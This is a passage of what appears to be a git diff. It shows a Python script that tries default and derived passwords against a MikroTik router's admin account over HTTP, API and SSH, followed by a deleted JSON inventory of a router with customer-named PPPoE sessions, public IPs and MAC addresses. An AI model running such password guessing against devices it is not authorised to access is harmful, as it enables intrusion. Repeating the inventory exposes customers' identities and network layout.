print(f" ✗ Login failed")
|
||||
sock.close()
|
||||
return False
|
||||
|
||||
except Exception as e:
|
||||
print(f" ✗ API test failed: {e}")
|
||||
return False
|
||||
|
||||
def test_ssh_with_verification(host, username, password):
|
||||
"""Test SSH auth with verification"""
|
||||
print(f"Testing SSH: {username}:{password}")
|
||||
|
||||
try:
|
||||
import paramiko
|
||||
|
||||
client = paramiko.SSHClient()
|
||||
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
|
||||
client.connect(
|
||||
host,
|
||||
port=22,
|
||||
username=username,
|
||||
password=password,
|
||||
timeout=5,
|
||||
allow_agent=False,
|
||||
look_for_keys=False,
|
||||
)
|
||||
|
||||
# Try to execute a command to verify we're authenticated
|
||||
stdin, stdout, stderr = client.exec_command("/system identity print")
|
||||
output = stdout.read().decode()
|
||||
|
||||
print(f" Command output: {output[:100]}...")
|
||||
|
||||
if output and len(output) > 10:
|
||||
print(f" ✓ SSH authentication and command execution successful")
|
||||
client.close()
|
||||
return True
|
||||
else:
|
||||
print(f" ? SSH connected but no command output")
|
||||
client.close()
|
||||
return False
|
||||
|
||||
except Exception as e:
|
||||
print(f" ✗ SSH test failed: {e}")
|
||||
return False
|
||||
|
||||
def main():
|
||||
host = "10.250.2.2"
|
||||
username = "admin"
|
||||
|
||||
# Test some of the passwords that showed "success" earlier
|
||||
test_passwords = [
|
||||
"", # Empty
|
||||
"0000-0000", # Showed success
|
||||
"0000-2018", # Showed success
|
||||
"admin", # Common default
|
||||
"d069-0bff", # Algorithm result
|
||||
]
|
||||
|
||||
print(f"Verifying MikroTik access to {host}")
|
||||
print("=" * 60)
|
||||
|
||||
for password in test_passwords:
|
||||
pwd_display = f'"{password}"' if password else "(empty)"
|
||||
print(f"\nTesting password: {pwd_display}")
|
||||
print("-" * 40)
|
||||
|
||||
# Test all methods with verification
|
||||
http_result = test_http_with_verification(host, username, password)
|
||||
api_result = test_api_with_verification(host, username, password)
|
||||
ssh_result = test_ssh_with_verification(host, username, password)
|
||||
|
||||
if any([http_result, api_result, ssh_result]):
|
||||
print(f"\n*** VERIFIED SUCCESS: {pwd_display} ***")
|
||||
print(f"HTTP: {'✓' if http_result else '✗'}")
|
||||
print(f"API: {'✓' if api_result else '✗'}")
|
||||
print(f"SSH: {'✓' if ssh_result else '✗'}")
|
||||
return password
|
||||
else:
|
||||
print(f"All methods failed for {pwd_display}")
|
||||
|
||||
print(f"\nNo working passwords found among tested candidates.")
|
||||
print("The earlier 'successes' were likely false positives.")
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
1775
verona.rsc
1775
verona.rsc
File diff suppressed because it is too large
Load diff
|
|
@ -1,926 +0,0 @@
|
|||
{
|
||||
"host": "10.254.254.101",
|
||||
"identity": null,
|
||||
"timestamp": "2026-03-26T17:14:54.272357",
|
||||
"subnets": [
|
||||
{
|
||||
"address": "10.250.1.25/29",
|
||||
"network": "10.250.1.24",
|
||||
"interface": "ether3-climax-11ghz",
|
||||
"comment": "",
|
||||
"dynamic": false
|
||||
},
|
||||
{
|
||||
"address": "10.254.254.101/32",
|
||||
"network": "10.254.254.101",
|
||||
"interface": "loopback",
|
||||
"comment": "",
|
||||
"dynamic": false
|
||||
},
|
||||
{
|
||||
"address": "100.64.3.254/22",
|
||||
"network": "100.64.0.0",
|
||||
"interface": "verona",
|
||||
"comment": "",
|
||||
"dynamic": false
|
||||
},
|
||||
{
|
||||
"address": "204.110.188.254/27",
|
||||
"network": "204.110.188.224",
|
||||
"interface": "verona",
|
||||
"comment": "",
|
||||
"dynamic": false
|
||||
},
|
||||
{
|
||||
"address": "100.64.15.254/22",
|
||||
"network": "100.64.12.0",
|
||||
"interface": "ether6-switch",
|
||||
"comment": "",
|
||||
"dynamic": false
|
||||
},
|
||||
{
|
||||
"address": "10.10.95.254/20",
|
||||
"network": "10.10.80.0",
|
||||
"interface": "vlan_10_ether6",
|
||||
"comment": "",
|
||||
"dynamic": false
|
||||
},
|
||||
{
|
||||
"address": "10.10.15.254/20",
|
||||
"network": "10.10.0.0",
|
||||
"interface": "vlan_10_ether6",
|
||||
"comment": "",
|
||||
"dynamic": false
|
||||
},
|
||||
{
|
||||
"address": "10.0.101.254/24",
|
||||
"network": "10.0.101.0",
|
||||
"interface": "sfp-sfpplus1-verona-tower-switch",
|
||||
"comment": "",
|
||||
"dynamic": false
|
||||
},
|
||||
{
|
||||
"address": "10.250.1.145/29",
|
||||
"network": "10.250.1.144",
|
||||
"interface": "ether6-switch",
|
||||
"comment": "",
|
||||
"dynamic": false
|
||||
},
|
||||
{
|
||||
"address": "204.110.191.30/27",
|
||||
"network": "204.110.191.0",
|
||||
"interface": "vlan9_sfpplus1",
|
||||
"comment": "",
|
||||
"dynamic": false
|
||||
},
|
||||
{
|
||||
"address": "10.25.1.254/24",
|
||||
"network": "10.25.1.0",
|
||||
"interface": "ether1",
|
||||
"comment": "",
|
||||
"dynamic": false
|
||||
},
|
||||
{
|
||||
"address": "100.64.15.253/32",
|
||||
"network": "204.110.188.231",
|
||||
"interface": "<pppoe-barbihardin>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.15.253/32",
|
||||
"network": "100.64.0.21",
|
||||
"interface": "<pppoe-whiteywhite>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.15.253/32",
|
||||
"network": "100.64.0.22",
|
||||
"interface": "<pppoe-davidlanman>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.15.253/32",
|
||||
"network": "100.64.0.23",
|
||||
"interface": "<pppoe-kimberlyrichards2>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.15.253/32",
|
||||
"network": "204.110.188.236",
|
||||
"interface": "<pppoe-dejadodson>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.15.253/32",
|
||||
"network": "100.64.0.41",
|
||||
"interface": "<pppoe-chrissyeagle>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.15.253/32",
|
||||
"network": "100.64.0.27",
|
||||
"interface": "<pppoe-williamarmstrong>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.15.253/32",
|
||||
"network": "204.110.188.237",
|
||||
"interface": "<pppoe-ronlewis>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.15.253/32",
|
||||
"network": "100.64.0.45",
|
||||
"interface": "<pppoe-chrissyeagle2>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.15.253/32",
|
||||
"network": "100.64.0.3",
|
||||
"interface": "<pppoe-pablohernandez>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.15.253/32",
|
||||
"network": "100.64.0.13",
|
||||
"interface": "<pppoe-allentaylor2>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.15.253/32",
|
||||
"network": "100.64.0.6",
|
||||
"interface": "<pppoe-yolandamedrano>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.15.253/32",
|
||||
"network": "100.64.0.17",
|
||||
"interface": "<pppoe-mariatrejo>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.15.253/32",
|
||||
"network": "100.64.0.12",
|
||||
"interface": "<pppoe-cherieeshelman>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.15.253/32",
|
||||
"network": "100.64.0.14",
|
||||
"interface": "<pppoe-amberkrings>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.15.253/32",
|
||||
"network": "100.64.0.8",
|
||||
"interface": "<pppoe-teresarobinson>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.15.253/32",
|
||||
"network": "100.64.0.31",
|
||||
"interface": "<pppoe-tjbanschbach>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.15.253/32",
|
||||
"network": "100.64.0.16",
|
||||
"interface": "<pppoe-judydevine>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.15.253/32",
|
||||
"network": "100.64.0.7",
|
||||
"interface": "<pppoe-allentaylor>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.15.253/32",
|
||||
"network": "100.64.0.61",
|
||||
"interface": "<pppoe-sherryerichardson>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.15.253/32",
|
||||
"network": "100.64.0.47",
|
||||
"interface": "<pppoe-krystabates>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.15.253/32",
|
||||
"network": "204.110.188.229",
|
||||
"interface": "<pppoe-vancepeltonen>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.15.253/32",
|
||||
"network": "100.64.0.20",
|
||||
"interface": "<pppoe-dananance>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.15.253/32",
|
||||
"network": "100.64.0.28",
|
||||
"interface": "<pppoe-markfisher>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.15.253/32",
|
||||
"network": "204.110.188.235",
|
||||
"interface": "<pppoe-austinwatkins>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.15.253/32",
|
||||
"network": "100.64.0.36",
|
||||
"interface": "<pppoe-billmctee>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.15.253/32",
|
||||
"network": "204.110.188.233",
|
||||
"interface": "<pppoe-joeywhitfield>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.15.253/32",
|
||||
"network": "100.64.0.26",
|
||||
"interface": "<pppoe-karenstewart>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.15.253/32",
|
||||
"network": "100.64.0.35",
|
||||
"interface": "<pppoe-pambanschbach>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.15.253/32",
|
||||
"network": "100.64.0.39",
|
||||
"interface": "<pppoe-ericbarrett>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.15.253/32",
|
||||
"network": "100.64.0.40",
|
||||
"interface": "<pppoe-debravega>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.15.253/32",
|
||||
"network": "204.110.188.230",
|
||||
"interface": "<pppoe-kirkvanmeter>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.15.253/32",
|
||||
"network": "100.64.0.10",
|
||||
"interface": "<pppoe-almaacosta>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.15.253/32",
|
||||
"network": "100.64.0.38",
|
||||
"interface": "<pppoe-jacquelinewilder>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.15.253/32",
|
||||
"network": "100.64.0.69",
|
||||
"interface": "<pppoe-keithtucker>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.15.253/32",
|
||||
"network": "100.64.0.67",
|
||||
"interface": "<pppoe-bradslate>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.15.253/32",
|
||||
"network": "100.64.0.33",
|
||||
"interface": "<pppoe-kimberlyrichards>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.15.253/32",
|
||||
"network": "100.64.0.32",
|
||||
"interface": "<pppoe-stevenspurgers>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.15.253/32",
|
||||
"network": "100.64.0.18",
|
||||
"interface": "<pppoe-crankkeith>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.15.253/32",
|
||||
"network": "100.64.0.25",
|
||||
"interface": "<pppoe-dougstowe>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.15.253/32",
|
||||
"network": "100.64.0.37",
|
||||
"interface": "<pppoe-nathanmctee>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.15.253/32",
|
||||
"network": "100.64.0.29",
|
||||
"interface": "<pppoe-srireddy>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.15.253/32",
|
||||
"network": "100.64.0.5",
|
||||
"interface": "<pppoe-maryhopper>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.15.253/32",
|
||||
"network": "100.64.0.66",
|
||||
"interface": "<pppoe-michaeltalbot>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.15.253/32",
|
||||
"network": "100.64.0.15",
|
||||
"interface": "<pppoe-scottarmstrong>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.15.253/32",
|
||||
"network": "100.64.0.68",
|
||||
"interface": "<pppoe-donnance>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.15.253/32",
|
||||
"network": "100.64.0.46",
|
||||
"interface": "<pppoe-kellygarza>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.15.253/32",
|
||||
"network": "100.64.0.44",
|
||||
"interface": "<pppoe-stevechristiaens>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.15.253/32",
|
||||
"network": "100.64.0.24",
|
||||
"interface": "<pppoe-penneywarner>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
}
|
||||
],
|
||||
"interfaces": [
|
||||
{
|
||||
"name": "ether3-climax-11ghz",
|
||||
"type": "ether",
|
||||
"mac": "78:9A:18:52:B1:BF",
|
||||
"comment": "",
|
||||
"mtu": 1500
|
||||
},
|
||||
{
|
||||
"name": "ether6-switch",
|
||||
"type": "ether",
|
||||
"mac": "78:9A:18:52:B1:C2",
|
||||
"comment": "",
|
||||
"mtu": 1500
|
||||
},
|
||||
{
|
||||
"name": "sfp-sfpplus1-verona-tower-switch",
|
||||
"type": "ether",
|
||||
"mac": "78:9A:18:52:B1:CD",
|
||||
"comment": "",
|
||||
"mtu": 1500
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-allentaylor2>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1480
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-allentaylor>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-almaacosta>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-amberkrings>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-austinwatkins>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-barbihardin>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1480
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-billmctee>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-bradslate>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1480
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-cherieeshelman>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-chrissyeagle2>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-chrissyeagle>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1480
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-crankkeith>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-dananance>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-davidlanman>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1480
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-debravega>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-dejadodson>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-donnance>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1480
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-dougstowe>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-ericbarrett>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-jacquelinewilder>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-joeywhitfield>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1480
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-judydevine>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-karenstewart>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-keithtucker>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1480
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-kellygarza>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-kimberlyrichards2>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1480
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-kimberlyrichards>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-kirkvanmeter>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-krystabates>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-mariatrejo>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-markfisher>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1480
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-maryhopper>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-michaeltalbot>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-nathanmctee>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-pablohernandez>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-pambanschbach>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-penneywarner>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-ronlewis>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1480
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-scottarmstrong>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-sherryerichardson>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1480
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-srireddy>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-stevechristiaens>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-stevenspurgers>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-teresarobinson>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-tjbanschbach>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-vancepeltonen>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1480
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-whiteywhite>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-williamarmstrong>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1480
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-yolandamedrano>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1480
|
||||
},
|
||||
{
|
||||
"name": "cpe_vlan_10",
|
||||
"type": "bridge",
|
||||
"mac": "78:9A:18:52:B1:C6",
|
||||
"comment": "",
|
||||
"mtu": "auto"
|
||||
},
|
||||
{
|
||||
"name": "lo",
|
||||
"type": "loopback",
|
||||
"mac": "00:00:00:00:00:00",
|
||||
"comment": "",
|
||||
"mtu": 65536
|
||||
},
|
||||
{
|
||||
"name": "loopback",
|
||||
"type": "bridge",
|
||||
"mac": "82:B3:60:CE:62:81",
|
||||
"comment": "",
|
||||
"mtu": "auto"
|
||||
},
|
||||
{
|
||||
"name": "public_vlan_100",
|
||||
"type": "bridge",
|
||||
"mac": "82:B3:60:CE:62:81",
|
||||
"comment": "",
|
||||
"mtu": 1500
|
||||
},
|
||||
{
|
||||
"name": "temp",
|
||||
"type": "bridge",
|
||||
"mac": "26:46:20:4A:56:C4",
|
||||
"comment": "",
|
||||
"mtu": "auto"
|
||||
},
|
||||
{
|
||||
"name": "verona",
|
||||
"type": "bridge",
|
||||
"mac": "78:9A:18:52:B1:C2",
|
||||
"comment": "",
|
||||
"mtu": 1500
|
||||
},
|
||||
{
|
||||
"name": "vlan9_sfpplus1",
|
||||
"type": "vlan",
|
||||
"mac": "78:9A:18:52:B1:CD",
|
||||
"comment": "",
|
||||
"mtu": 1500
|
||||
},
|
||||
{
|
||||
"name": "vlan_10_ether6",
|
||||
"type": "vlan",
|
||||
"mac": "78:9A:18:52:B1:C2",
|
||||
"comment": "",
|
||||
"mtu": 1500
|
||||
},
|
||||
{
|
||||
"name": "vlan_19_ether6",
|
||||
"type": "vlan",
|
||||
"mac": "78:9A:18:52:B1:C2",
|
||||
"comment": "",
|
||||
"mtu": 1500
|
||||
},
|
||||
{
|
||||
"name": "vxlan-380",
|
||||
"type": "vxlan",
|
||||
"mac": "26:46:20:4A:56:C4",
|
||||
"comment": "",
|
||||
"mtu": 1500
|
||||
}
|
||||
],
|
||||
"vlans": [
|
||||
{
|
||||
"name": "vlan9_sfpplus1",
|
||||
"vlan_id": 9,
|
||||
"interface": "sfp-sfpplus1-verona-tower-switch"
|
||||
},
|
||||
{
|
||||
"name": "vlan10_ether15",
|
||||
"vlan_id": 10,
|
||||
"interface": "ether15_wave_n"
|
||||
},
|
||||
{
|
||||
"name": "vlan10_sfpplus2",
|
||||
"vlan_id": 10,
|
||||
"interface": "sfp-sfpplus2-switch"
|
||||
},
|
||||
{
|
||||
"name": "vlan_10_ether6",
|
||||
"vlan_id": 10,
|
||||
"interface": "verona"
|
||||
},
|
||||
{
|
||||
"name": "vlan_19_ether6",
|
||||
"vlan_id": 19,
|
||||
"interface": "ether6-switch"
|
||||
}
|
||||
],
|
||||
"pppoe_servers": [
|
||||
{
|
||||
"service_name": "verona",
|
||||
"interface": "verona"
|
||||
},
|
||||
{
|
||||
"service_name": "altoga",
|
||||
"interface": "vlan_19_ether6"
|
||||
}
|
||||
],
|
||||
"routes": [
|
||||
{
|
||||
"destination": "10.0.16.1/32",
|
||||
"gateway": "204.110.188.225",
|
||||
"distance": 1,
|
||||
"comment": ""
|
||||
},
|
||||
{
|
||||
"destination": "10.0.16.10/32",
|
||||
"gateway": "204.110.188.225",
|
||||
"distance": 1,
|
||||
"comment": ""
|
||||
},
|
||||
{
|
||||
"destination": "10.0.16.84/32",
|
||||
"gateway": "204.110.188.225",
|
||||
"distance": 1,
|
||||
"comment": ""
|
||||
},
|
||||
{
|
||||
"destination": "10.43.0.0/16",
|
||||
"gateway": "204.110.191.1",
|
||||
"distance": 1,
|
||||
"comment": ""
|
||||
}
|
||||
]
|
||||
}
|
||||
Loading…
Add table
Reference in a new issue